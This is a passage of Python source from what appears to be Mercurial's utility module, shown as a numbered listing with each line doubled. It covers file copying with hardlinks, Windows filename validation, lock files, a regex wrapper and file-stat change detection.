1873 repo.wlock).
1873 repo.wlock).
1874
1874
1875 copystat and checkambig should be exclusive.
1875 copystat and checkambig should be exclusive.
1876 '''
1876 '''
1877 assert not (copystat and checkambig)
1877 assert not (copystat and checkambig)
1878 oldstat = None
1878 oldstat = None
1879 if os.path.lexists(dest):
1879 if os.path.lexists(dest):
1880 if checkambig:
1880 if checkambig:
1881 oldstat = checkambig and filestat.frompath(dest)
1881 oldstat = checkambig and filestat.frompath(dest)
1882 unlink(dest)
1882 unlink(dest)
1883 if hardlink:
1883 if hardlink:
1884 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1884 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1885 # unless we are confident that dest is on a whitelisted filesystem.
1885 # unless we are confident that dest is on a whitelisted filesystem.
1886 try:
1886 try:
1887 fstype = getfstype(os.path.dirname(dest))
1887 fstype = getfstype(os.path.dirname(dest))
1888 except OSError:
1888 except OSError:
1889 fstype = None
1889 fstype = None
1890 if fstype not in _hardlinkfswhitelist:
1890 if fstype not in _hardlinkfswhitelist:
1891 hardlink = False
1891 hardlink = False
1892 if hardlink:
1892 if hardlink:
1893 try:
1893 try:
1894 oslink(src, dest)
1894 oslink(src, dest)
1895 return
1895 return
1896 except (IOError, OSError):
1896 except (IOError, OSError):
1897 pass # fall back to normal copy
1897 pass # fall back to normal copy
1898 if os.path.islink(src):
1898 if os.path.islink(src):
1899 os.symlink(os.readlink(src), dest)
1899 os.symlink(os.readlink(src), dest)
1900 # copytime is ignored for symlinks, but in general copytime isn't needed
1900 # copytime is ignored for symlinks, but in general copytime isn't needed
1901 # for them anyway
1901 # for them anyway
1902 else:
1902 else:
1903 try:
1903 try:
1904 shutil.copyfile(src, dest)
1904 shutil.copyfile(src, dest)
1905 if copystat:
1905 if copystat:
1906 # copystat also copies mode
1906 # copystat also copies mode
1907 shutil.copystat(src, dest)
1907 shutil.copystat(src, dest)
1908 else:
1908 else:
1909 shutil.copymode(src, dest)
1909 shutil.copymode(src, dest)
1910 if oldstat and oldstat.stat:
1910 if oldstat and oldstat.stat:
1911 newstat = filestat.frompath(dest)
1911 newstat = filestat.frompath(dest)
1912 if newstat.isambig(oldstat):
1912 if newstat.isambig(oldstat):
1913 # stat of copied file is ambiguous to original one
1913 # stat of copied file is ambiguous to original one
1914 advanced = (
1914 advanced = (
1915 oldstat.stat[stat.ST_MTIME] + 1
1915 oldstat.stat[stat.ST_MTIME] + 1
1916 ) & 0x7FFFFFFF
1916 ) & 0x7FFFFFFF
1917 os.utime(dest, (advanced, advanced))
1917 os.utime(dest, (advanced, advanced))
1918 except shutil.Error as inst:
1918 except shutil.Error as inst:
1919 raise error.Abort(str(inst))
1919 raise error.Abort(str(inst))
1920
1920
1921
1921
1922 def copyfiles(src, dst, hardlink=None, progress=None):
1922 def copyfiles(src, dst, hardlink=None, progress=None):
1923 """Copy a directory tree using hardlinks if possible."""
1923 """Copy a directory tree using hardlinks if possible."""
1924 num = 0
1924 num = 0
1925
1925
1926 def settopic():
1926 def settopic():
1927 if progress:
1927 if progress:
1928 progress.topic = _(b'linking') if hardlink else _(b'copying')
1928 progress.topic = _(b'linking') if hardlink else _(b'copying')
1929
1929
1930 if os.path.isdir(src):
1930 if os.path.isdir(src):
1931 if hardlink is None:
1931 if hardlink is None:
1932 hardlink = (
1932 hardlink = (
1933 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1933 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1934 )
1934 )
1935 settopic()
1935 settopic()
1936 os.mkdir(dst)
1936 os.mkdir(dst)
1937 for name, kind in listdir(src):
1937 for name, kind in listdir(src):
1938 srcname = os.path.join(src, name)
1938 srcname = os.path.join(src, name)
1939 dstname = os.path.join(dst, name)
1939 dstname = os.path.join(dst, name)
1940 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1940 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1941 num += n
1941 num += n
1942 else:
1942 else:
1943 if hardlink is None:
1943 if hardlink is None:
1944 hardlink = (
1944 hardlink = (
1945 os.stat(os.path.dirname(src)).st_dev
1945 os.stat(os.path.dirname(src)).st_dev
1946 == os.stat(os.path.dirname(dst)).st_dev
1946 == os.stat(os.path.dirname(dst)).st_dev
1947 )
1947 )
1948 settopic()
1948 settopic()
1949
1949
1950 if hardlink:
1950 if hardlink:
1951 try:
1951 try:
1952 oslink(src, dst)
1952 oslink(src, dst)
1953 except (IOError, OSError):
1953 except (IOError, OSError):
1954 hardlink = False
1954 hardlink = False
1955 shutil.copy(src, dst)
1955 shutil.copy(src, dst)
1956 else:
1956 else:
1957 shutil.copy(src, dst)
1957 shutil.copy(src, dst)
1958 num += 1
1958 num += 1
1959 if progress:
1959 if progress:
1960 progress.increment()
1960 progress.increment()
1961
1961
1962 return hardlink, num
1962 return hardlink, num
1963
1963
1964
1964
1965 _winreservednames = {
1965 _winreservednames = {
1966 b'con',
1966 b'con',
1967 b'prn',
1967 b'prn',
1968 b'aux',
1968 b'aux',
1969 b'nul',
1969 b'nul',
1970 b'com1',
1970 b'com1',
1971 b'com2',
1971 b'com2',
1972 b'com3',
1972 b'com3',
1973 b'com4',
1973 b'com4',
1974 b'com5',
1974 b'com5',
1975 b'com6',
1975 b'com6',
1976 b'com7',
1976 b'com7',
1977 b'com8',
1977 b'com8',
1978 b'com9',
1978 b'com9',
1979 b'lpt1',
1979 b'lpt1',
1980 b'lpt2',
1980 b'lpt2',
1981 b'lpt3',
1981 b'lpt3',
1982 b'lpt4',
1982 b'lpt4',
1983 b'lpt5',
1983 b'lpt5',
1984 b'lpt6',
1984 b'lpt6',
1985 b'lpt7',
1985 b'lpt7',
1986 b'lpt8',
1986 b'lpt8',
1987 b'lpt9',
1987 b'lpt9',
1988 }
1988 }
1989 _winreservedchars = b':*?"<>|'
1989 _winreservedchars = b':*?"<>|'
1990
1990
1991
1991
1992 def checkwinfilename(path):
1992 def checkwinfilename(path):
1993 r'''Check that the base-relative path is a valid filename on Windows.
1993 r'''Check that the base-relative path is a valid filename on Windows.
1994 Returns None if the path is ok, or a UI string describing the problem.
1994 Returns None if the path is ok, or a UI string describing the problem.
1995
1995
1996 >>> checkwinfilename(b"just/a/normal/path")
1996 >>> checkwinfilename(b"just/a/normal/path")
1997 >>> checkwinfilename(b"foo/bar/con.xml")
1997 >>> checkwinfilename(b"foo/bar/con.xml")
1998 "filename contains 'con', which is reserved on Windows"
1998 "filename contains 'con', which is reserved on Windows"
1999 >>> checkwinfilename(b"foo/con.xml/bar")
1999 >>> checkwinfilename(b"foo/con.xml/bar")
2000 "filename contains 'con', which is reserved on Windows"
2000 "filename contains 'con', which is reserved on Windows"
2001 >>> checkwinfilename(b"foo/bar/xml.con")
2001 >>> checkwinfilename(b"foo/bar/xml.con")
2002 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2002 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2003 "filename contains 'AUX', which is reserved on Windows"
2003 "filename contains 'AUX', which is reserved on Windows"
2004 >>> checkwinfilename(b"foo/bar/bla:.txt")
2004 >>> checkwinfilename(b"foo/bar/bla:.txt")
2005 "filename contains ':', which is reserved on Windows"
2005 "filename contains ':', which is reserved on Windows"
2006 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2006 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2007 "filename contains '\\x07', which is invalid on Windows"
2007 "filename contains '\\x07', which is invalid on Windows"
2008 >>> checkwinfilename(b"foo/bar/bla ")
2008 >>> checkwinfilename(b"foo/bar/bla ")
2009 "filename ends with ' ', which is not allowed on Windows"
2009 "filename ends with ' ', which is not allowed on Windows"
2010 >>> checkwinfilename(b"../bar")
2010 >>> checkwinfilename(b"../bar")
2011 >>> checkwinfilename(b"foo\\")
2011 >>> checkwinfilename(b"foo\\")
2012 "filename ends with '\\', which is invalid on Windows"
2012 "filename ends with '\\', which is invalid on Windows"
2013 >>> checkwinfilename(b"foo\\/bar")
2013 >>> checkwinfilename(b"foo\\/bar")
2014 "directory name ends with '\\', which is invalid on Windows"
2014 "directory name ends with '\\', which is invalid on Windows"
2015 '''
2015 '''
2016 if path.endswith(b'\\'):
2016 if path.endswith(b'\\'):
2017 return _(b"filename ends with '\\', which is invalid on Windows")
2017 return _(b"filename ends with '\\', which is invalid on Windows")
2018 if b'\\/' in path:
2018 if b'\\/' in path:
2019 return _(b"directory name ends with '\\', which is invalid on Windows")
2019 return _(b"directory name ends with '\\', which is invalid on Windows")
2020 for n in path.replace(b'\\', b'/').split(b'/'):
2020 for n in path.replace(b'\\', b'/').split(b'/'):
2021 if not n:
2021 if not n:
2022 continue
2022 continue
2023 for c in _filenamebytestr(n):
2023 for c in _filenamebytestr(n):
2024 if c in _winreservedchars:
2024 if c in _winreservedchars:
2025 return (
2025 return (
2026 _(
2026 _(
2027 b"filename contains '%s', which is reserved "
2027 b"filename contains '%s', which is reserved "
2028 b"on Windows"
2028 b"on Windows"
2029 )
2029 )
2030 % c
2030 % c
2031 )
2031 )
2032 if ord(c) <= 31:
2032 if ord(c) <= 31:
2033 return _(
2033 return _(
2034 b"filename contains '%s', which is invalid on Windows"
2034 b"filename contains '%s', which is invalid on Windows"
2035 ) % stringutil.escapestr(c)
2035 ) % stringutil.escapestr(c)
2036 base = n.split(b'.')[0]
2036 base = n.split(b'.')[0]
2037 if base and base.lower() in _winreservednames:
2037 if base and base.lower() in _winreservednames:
2038 return (
2038 return (
2039 _(b"filename contains '%s', which is reserved on Windows")
2039 _(b"filename contains '%s', which is reserved on Windows")
2040 % base
2040 % base
2041 )
2041 )
2042 t = n[-1:]
2042 t = n[-1:]
2043 if t in b'. ' and n not in b'..':
2043 if t in b'. ' and n not in b'..':
2044 return (
2044 return (
2045 _(
2045 _(
2046 b"filename ends with '%s', which is not allowed "
2046 b"filename ends with '%s', which is not allowed "
2047 b"on Windows"
2047 b"on Windows"
2048 )
2048 )
2049 % t
2049 % t
2050 )
2050 )
2051
2051
2052
2052
2053 if pycompat.iswindows:
2053 if pycompat.iswindows:
2054 checkosfilename = checkwinfilename
2054 checkosfilename = checkwinfilename
2055 timer = time.clock
2055 timer = time.clock
2056 else:
2056 else:
2057 checkosfilename = platform.checkosfilename
2057 checkosfilename = platform.checkosfilename
2058 timer = time.time
2058 timer = time.time
2059
2059
2060 if safehasattr(time, "perf_counter"):
2060 if safehasattr(time, "perf_counter"):
2061 timer = time.perf_counter
2061 timer = time.perf_counter
2062
2062
2063
2063
2064 def makelock(info, pathname):
2064 def makelock(info, pathname):
2065 """Create a lock file atomically if possible
2065 """Create a lock file atomically if possible
2066
2066
2067 This may leave a stale lock file if symlink isn't supported and signal
2067 This may leave a stale lock file if symlink isn't supported and signal
2068 interrupt is enabled.
2068 interrupt is enabled.
2069 """
2069 """
2070 try:
2070 try:
2071 return os.symlink(info, pathname)
2071 return os.symlink(info, pathname)
2072 except OSError as why:
2072 except OSError as why:
2073 if why.errno == errno.EEXIST:
2073 if why.errno == errno.EEXIST:
2074 raise
2074 raise
2075 except AttributeError: # no symlink in os
2075 except AttributeError: # no symlink in os
2076 pass
2076 pass
2077
2077
2078 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2078 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2079 ld = os.open(pathname, flags)
2079 ld = os.open(pathname, flags)
2080 os.write(ld, info)
2080 os.write(ld, info)
2081 os.close(ld)
2081 os.close(ld)
2082
2082
2083
2083
2084 def readlock(pathname):
2084 def readlock(pathname):
2085 try:
2085 try:
2086 return readlink(pathname)
2086 return readlink(pathname)
2087 except OSError as why:
2087 except OSError as why:
2088 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2088 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2089 raise
2089 raise
2090 except AttributeError: # no symlink in os
2090 except AttributeError: # no symlink in os
2091 pass
2091 pass
2092 with posixfile(pathname, b'rb') as fp:
2092 with posixfile(pathname, b'rb') as fp:
2093 return fp.read()
2093 return fp.read()
2094
2094
2095
2095
2096 def fstat(fp):
2096 def fstat(fp):
2097 '''stat file object that may not have fileno method.'''
2097 '''stat file object that may not have fileno method.'''
2098 try:
2098 try:
2099 return os.fstat(fp.fileno())
2099 return os.fstat(fp.fileno())
2100 except AttributeError:
2100 except AttributeError:
2101 return os.stat(fp.name)
2101 return os.stat(fp.name)
2102
2102
2103
2103
2104 # File system features
2104 # File system features
2105
2105
2106
2106
2107 def fscasesensitive(path):
2107 def fscasesensitive(path):
2108 """
2108 """
2109 Return true if the given path is on a case-sensitive filesystem
2109 Return true if the given path is on a case-sensitive filesystem
2110
2110
2111 Requires a path (like /foo/.hg) ending with a foldable final
2111 Requires a path (like /foo/.hg) ending with a foldable final
2112 directory component.
2112 directory component.
2113 """
2113 """
2114 s1 = os.lstat(path)
2114 s1 = os.lstat(path)
2115 d, b = os.path.split(path)
2115 d, b = os.path.split(path)
2116 b2 = b.upper()
2116 b2 = b.upper()
2117 if b == b2:
2117 if b == b2:
2118 b2 = b.lower()
2118 b2 = b.lower()
2119 if b == b2:
2119 if b == b2:
2120 return True # no evidence against case sensitivity
2120 return True # no evidence against case sensitivity
2121 p2 = os.path.join(d, b2)
2121 p2 = os.path.join(d, b2)
2122 try:
2122 try:
2123 s2 = os.lstat(p2)
2123 s2 = os.lstat(p2)
2124 if s2 == s1:
2124 if s2 == s1:
2125 return False
2125 return False
2126 return True
2126 return True
2127 except OSError:
2127 except OSError:
2128 return True
2128 return True
2129
2129
2130
2130
2131 try:
2131 try:
2132 import re2
2132 import re2
2133
2133
2134 _re2 = None
2134 _re2 = None
2135 except ImportError:
2135 except ImportError:
2136 _re2 = False
2136 _re2 = False
2137
2137
2138
2138
2139 class _re(object):
2139 class _re(object):
2140 def _checkre2(self):
2140 def _checkre2(self):
2141 global _re2
2141 global _re2
2142 try:
2142 try:
2143 # check if match works, see issue3964
2143 # check if match works, see issue3964
2144 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2144 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2145 except ImportError:
2145 except ImportError:
2146 _re2 = False
2146 _re2 = False
2147
2147
2148 def compile(self, pat, flags=0):
2148 def compile(self, pat, flags=0):
2149 '''Compile a regular expression, using re2 if possible
2149 '''Compile a regular expression, using re2 if possible
2150
2150
2151 For best performance, use only re2-compatible regexp features. The
2151 For best performance, use only re2-compatible regexp features. The
2152 only flags from the re module that are re2-compatible are
2152 only flags from the re module that are re2-compatible are
2153 IGNORECASE and MULTILINE.'''
2153 IGNORECASE and MULTILINE.'''
2154 if _re2 is None:
2154 if _re2 is None:
2155 self._checkre2()
2155 self._checkre2()
2156 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2156 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2157 if flags & remod.IGNORECASE:
2157 if flags & remod.IGNORECASE:
2158 pat = b'(?i)' + pat
2158 pat = b'(?i)' + pat
2159 if flags & remod.MULTILINE:
2159 if flags & remod.MULTILINE:
2160 pat = b'(?m)' + pat
2160 pat = b'(?m)' + pat
2161 try:
2161 try:
2162 return re2.compile(pat)
2162 return re2.compile(pat)
2163 except re2.error:
2163 except re2.error:
2164 pass
2164 pass
2165 return remod.compile(pat, flags)
2165 return remod.compile(pat, flags)
2166
2166
2167 @propertycache
2167 @propertycache
2168 def escape(self):
2168 def escape(self):
2169 '''Return the version of escape corresponding to self.compile.
2169 '''Return the version of escape corresponding to self.compile.
2170
2170
2171 This is imperfect because whether re2 or re is used for a particular
2171 This is imperfect because whether re2 or re is used for a particular
2172 function depends on the flags, etc, but it's the best we can do.
2172 function depends on the flags, etc, but it's the best we can do.
2173 '''
2173 '''
2174 global _re2
2174 global _re2
2175 if _re2 is None:
2175 if _re2 is None:
2176 self._checkre2()
2176 self._checkre2()
2177 if _re2:
2177 if _re2:
2178 return re2.escape
2178 return re2.escape
2179 else:
2179 else:
2180 return remod.escape
2180 return remod.escape
2181
2181
2182
2182
2183 re = _re()
2183 re = _re()
2184
2184
2185 _fspathcache = {}
2185 _fspathcache = {}
2186
2186
2187
2187
2188 def fspath(name, root):
2188 def fspath(name, root):
2189 '''Get name in the case stored in the filesystem
2189 '''Get name in the case stored in the filesystem
2190
2190
2191 The name should be relative to root, and be normcase-ed for efficiency.
2191 The name should be relative to root, and be normcase-ed for efficiency.
2192
2192
2193 Note that this function is unnecessary, and should not be
2193 Note that this function is unnecessary, and should not be
2194 called, for case-sensitive filesystems (simply because it's expensive).
2194 called, for case-sensitive filesystems (simply because it's expensive).
2195
2195
2196 The root should be normcase-ed, too.
2196 The root should be normcase-ed, too.
2197 '''
2197 '''
2198
2198
2199 def _makefspathcacheentry(dir):
2199 def _makefspathcacheentry(dir):
2200 return dict((normcase(n), n) for n in os.listdir(dir))
2200 return dict((normcase(n), n) for n in os.listdir(dir))
2201
2201
2202 seps = pycompat.ossep
2202 seps = pycompat.ossep
2203 if pycompat.osaltsep:
2203 if pycompat.osaltsep:
2204 seps = seps + pycompat.osaltsep
2204 seps = seps + pycompat.osaltsep
2205 # Protect backslashes. This gets silly very quickly.
2205 # Protect backslashes. This gets silly very quickly.
2206 seps.replace(b'\\', b'\\\\')
2206 seps.replace(b'\\', b'\\\\')
2207 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2207 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2208 dir = os.path.normpath(root)
2208 dir = os.path.normpath(root)
2209 result = []
2209 result = []
2210 for part, sep in pattern.findall(name):
2210 for part, sep in pattern.findall(name):
2211 if sep:
2211 if sep:
2212 result.append(sep)
2212 result.append(sep)
2213 continue
2213 continue
2214
2214
2215 if dir not in _fspathcache:
2215 if dir not in _fspathcache:
2216 _fspathcache[dir] = _makefspathcacheentry(dir)
2216 _fspathcache[dir] = _makefspathcacheentry(dir)
2217 contents = _fspathcache[dir]
2217 contents = _fspathcache[dir]
2218
2218
2219 found = contents.get(part)
2219 found = contents.get(part)
2220 if not found:
2220 if not found:
2221 # retry "once per directory" per "dirstate.walk" which
2221 # retry "once per directory" per "dirstate.walk" which
2222 # may take place for each patches of "hg qpush", for example
2222 # may take place for each patches of "hg qpush", for example
2223 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2223 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2224 found = contents.get(part)
2224 found = contents.get(part)
2225
2225
2226 result.append(found or part)
2226 result.append(found or part)
2227 dir = os.path.join(dir, part)
2227 dir = os.path.join(dir, part)
2228
2228
2229 return b''.join(result)
2229 return b''.join(result)
2230
2230
2231
2231
2232 def checknlink(testfile):
2232 def checknlink(testfile):
2233 '''check whether hardlink count reporting works properly'''
2233 '''check whether hardlink count reporting works properly'''
2234
2234
2235 # testfile may be open, so we need a separate file for checking to
2235 # testfile may be open, so we need a separate file for checking to
2236 # work around issue2543 (or testfile may get lost on Samba shares)
2236 # work around issue2543 (or testfile may get lost on Samba shares)
2237 f1, f2, fp = None, None, None
2237 f1, f2, fp = None, None, None
2238 try:
2238 try:
2239 fd, f1 = pycompat.mkstemp(
2239 fd, f1 = pycompat.mkstemp(
2240 prefix=b'.%s-' % os.path.basename(testfile),
2240 prefix=b'.%s-' % os.path.basename(testfile),
2241 suffix=b'1~',
2241 suffix=b'1~',
2242 dir=os.path.dirname(testfile),
2242 dir=os.path.dirname(testfile),
2243 )
2243 )
2244 os.close(fd)
2244 os.close(fd)
2245 f2 = b'%s2~' % f1[:-2]
2245 f2 = b'%s2~' % f1[:-2]
2246
2246
2247 oslink(f1, f2)
2247 oslink(f1, f2)
2248 # nlinks() may behave differently for files on Windows shares if
2248 # nlinks() may behave differently for files on Windows shares if
2249 # the file is open.
2249 # the file is open.
2250 fp = posixfile(f2)
2250 fp = posixfile(f2)
2251 return nlinks(f2) > 1
2251 return nlinks(f2) > 1
2252 except OSError:
2252 except OSError:
2253 return False
2253 return False
2254 finally:
2254 finally:
2255 if fp is not None:
2255 if fp is not None:
2256 fp.close()
2256 fp.close()
2257 for f in (f1, f2):
2257 for f in (f1, f2):
2258 try:
2258 try:
2259 if f is not None:
2259 if f is not None:
2260 os.unlink(f)
2260 os.unlink(f)
2261 except OSError:
2261 except OSError:
2262 pass
2262 pass
2263
2263
2264
2264
2265 def endswithsep(path):
2265 def endswithsep(path):
2266 '''Check path ends with os.sep or os.altsep.'''
2266 '''Check path ends with os.sep or os.altsep.'''
2267 return (
2267 return (
2268 path.endswith(pycompat.ossep)
2268 path.endswith(pycompat.ossep)
2269 or pycompat.osaltsep
2269 or pycompat.osaltsep
2270 and path.endswith(pycompat.osaltsep)
2270 and path.endswith(pycompat.osaltsep)
2271 )
2271 )
2272
2272
2273
2273
2274 def splitpath(path):
2274 def splitpath(path):
2275 '''Split path by os.sep.
2275 '''Split path by os.sep.
2276 Note that this function does not use os.altsep because this is
2276 Note that this function does not use os.altsep because this is
2277 an alternative of simple "xxx.split(os.sep)".
2277 an alternative of simple "xxx.split(os.sep)".
2278 It is recommended to use os.path.normpath() before using this
2278 It is recommended to use os.path.normpath() before using this
2279 function if need.'''
2279 function if need.'''
2280 return path.split(pycompat.ossep)
2280 return path.split(pycompat.ossep)
2281
2281
2282
2282
2283 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2283 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2284 """Create a temporary file with the same contents from name
2284 """Create a temporary file with the same contents from name
2285
2285
2286 The permission bits are copied from the original file.
2286 The permission bits are copied from the original file.
2287
2287
2288 If the temporary file is going to be truncated immediately, you
2288 If the temporary file is going to be truncated immediately, you
2289 can use emptyok=True as an optimization.
2289 can use emptyok=True as an optimization.
2290
2290
2291 Returns the name of the temporary file.
2291 Returns the name of the temporary file.
2292 """
2292 """
2293 d, fn = os.path.split(name)
2293 d, fn = os.path.split(name)
2294 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2294 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2295 os.close(fd)
2295 os.close(fd)
2296 # Temporary files are created with mode 0600, which is usually not
2296 # Temporary files are created with mode 0600, which is usually not
2297 # what we want. If the original file already exists, just copy
2297 # what we want. If the original file already exists, just copy
2298 # its mode. Otherwise, manually obey umask.
2298 # its mode. Otherwise, manually obey umask.
2299 copymode(name, temp, createmode, enforcewritable)
2299 copymode(name, temp, createmode, enforcewritable)
2300
2300
2301 if emptyok:
2301 if emptyok:
2302 return temp
2302 return temp
2303 try:
2303 try:
2304 try:
2304 try:
2305 ifp = posixfile(name, b"rb")
2305 ifp = posixfile(name, b"rb")
2306 except IOError as inst:
2306 except IOError as inst:
2307 if inst.errno == errno.ENOENT:
2307 if inst.errno == errno.ENOENT:
2308 return temp
2308 return temp
2309 if not getattr(inst, 'filename', None):
2309 if not getattr(inst, 'filename', None):
2310 inst.filename = name
2310 inst.filename = name
2311 raise
2311 raise
2312 ofp = posixfile(temp, b"wb")
2312 ofp = posixfile(temp, b"wb")
2313 for chunk in filechunkiter(ifp):
2313 for chunk in filechunkiter(ifp):
2314 ofp.write(chunk)
2314 ofp.write(chunk)
2315 ifp.close()
2315 ifp.close()
2316 ofp.close()
2316 ofp.close()
2317 except: # re-raises
2317 except: # re-raises
2318 try:
2318 try:
2319 os.unlink(temp)
2319 os.unlink(temp)
2320 except OSError:
2320 except OSError:
2321 pass
2321 pass
2322 raise
2322 raise
2323 return temp
2323 return temp
2324
2324
2325
2325
2326 class filestat(object):
2326 class filestat(object):
2327 """help to exactly detect change of a file
2327 """help to exactly detect change of a file
2328
2328
2329 'stat' attribute is result of 'os.stat()' if specified 'path'
2329 'stat' attribute is result of 'os.stat()' if specified 'path'
2330 exists. Otherwise, it is None. This can avoid preparative
2330 exists. Otherwise, it is None. This can avoid preparative
2331 'exists()' examination on client side of this class.
2331 'exists()' examination on client side of this class.
2332 """
2332 """
2333
2333
2334 def __init__(self, stat):
2334 def __init__(self, stat):
2335 self.stat = stat
2335 self.stat = stat
2336
2336
2337 @classmethod
2337 @classmethod
2338 def frompath(cls, path):
2338 def frompath(cls, path):
2339 try:
2339 try:
2340 stat = os.stat(path)
2340 stat = os.stat(path)
2341 except OSError as err:
2341 except OSError as err:
2342 if err.errno != errno.ENOENT:
2342 if err.errno != errno.ENOENT:
2343 raise
2343 raise
2344 stat = None
2344 stat = None
2345 return cls(stat)
2345 return cls(stat)
2346
2346
2347 @classmethod
2347 @classmethod
2348 def fromfp(cls, fp):
2348 def fromfp(cls, fp):
2349 stat = os.fstat(fp.fileno())
2349 stat = os.fstat(fp.fileno())
2350 return cls(stat)
2350 return cls(stat)
2351
2351
2352 __hash__ = object.__hash__
2352 __hash__ = object.__hash__
2353
2353
2354 def __eq__(self, old):
2354 def __eq__(self, old):
2355 try:
2355 try:
2356 # if ambiguity between stat of new and old file is
2356 # if ambiguity between stat of new and old file is
2357 # avoided, comparison of size, ctime and mtime is enough
2357 # avoided, comparison of size, ctime and mtime is enough
2358 # to exactly detect change of a file regardless of platform
2358 # to exactly detect change of a file regardless of platform
2359 return (
2359 return (
2360 self.stat.st_size == old.stat.st_size
2360 self.stat.st_size == old.stat.st_size
2361 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2361 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2362 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2362 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2363 )
2363 )
2364 except AttributeError:
2364 except AttributeError:
2365 pass
2365 pass
2366 try:
2366 try:
2367 return self.stat is None and old.stat is None
2367 return self.stat is None and old.stat is None
2368 except AttributeError:
2368 except AttributeError:
2369 return False
2369 return False
2370
2370
2371 def isambig(self, old):
2371 def isambig(self, old):
2372 """Examine whether new (= self) stat is ambiguous against old one
2372 """Examine whether new (= self) stat is ambiguous against old one
2373
2373
2374 "S[N]" below means stat of a file at N-th change:
2374 "S[N]" below means stat of a file at N-th change:
2375
2375
2376 - S[n-1].ctime < S[n].ctime: can detect change of a file
2376 - S[n-1].ctime < S[n].ctime: can detect change of a file
2377 - S[n-1].ctime == S[n].ctime
2377 - S[n-1].ctime == S[n].ctime
2378 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2378 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2379 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2379 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2380 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2380 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2381 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2381 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2382
2382
2383 Case (*2) above means that a file was changed twice or more at
2383 Case (*2) above means that a file was changed twice or more at
2384 same time in sec (= S[n-1].ctime), and comparison of timestamp
2384 same time in sec (= S[n-1].ctime), and comparison of timestamp
2385 is ambiguous.
2385 is ambiguous.
2386
2386
2387 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2387 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2388 timestamp is ambiguous".
2388 timestamp is ambiguous".
2389
2389
2390 But advancing mtime only in case (*2) doesn't work as
2390 But advancing mtime only in case (*2) doesn't work as
2391 expected, because naturally advanced S[n].mtime in case (*1)
2391 expected, because naturally advanced S[n].mtime in case (*1)
2392 might be equal to manually advanced S[n-1 or earlier].mtime.
2392 might be equal to manually advanced S[n-1 or earlier].mtime.
2393
2393
2394 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2394 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2395 treated as ambiguous regardless of mtime, to avoid overlooking
2395 treated as ambiguous regardless of mtime, to avoid overlooking
2396 by confliction between such mtime.
2396 by confliction between such mtime.
2397
2397
2398 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2398 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2399 S[n].mtime", even if size of a file isn't changed.
2399 S[n].mtime", even if size of a file isn't changed.
2400 """
2400 """
2401 try:
2401 try:
2402 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2402 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2403 except AttributeError:
2403 except AttributeError:
2404 return False
2404 return False
2405
2405
2406 def avoidambig(self, path, old):
2406 def avoidambig(self, path, old):
2407 """Change file stat of specified path to avoid ambiguity
2407 """Change file stat of specified path to avoid ambiguity
2408
2408
2409 'old' should be previous filestat of 'path'.
2409 'old' should be previous filestat of 'path'.
2410
2410
2411 This skips avoiding ambiguity, if a process doesn't have
2411 This skips avoiding ambiguity, if a process doesn't have
2412 appropriate privileges for 'path'. This returns False in this
2412 appropriate privileges for 'path'. This returns False in this
2413 case.
2413 case.
2414
2414
2415 Otherwise, this returns True, as "ambiguity is avoided".
2415 Otherwise, this returns True, as "ambiguity is avoided".
2416 """
2416 """
2417 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2417 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2418 try:
2418 try:
2419 os.utime(path, (advanced, advanced))
2419 os.utime(path, (advanced, advanced))
2420 except OSError as inst:
2420 except OSError as inst:
2421 if inst.errno == errno.EPERM:
2421 if inst.errno == errno.EPERM:
2422 # utime() on the file created by another user causes EPERM,
2422 # utime() on the file created by another user causes EPERM,
2423 # if a process doesn't have appropriate privileges
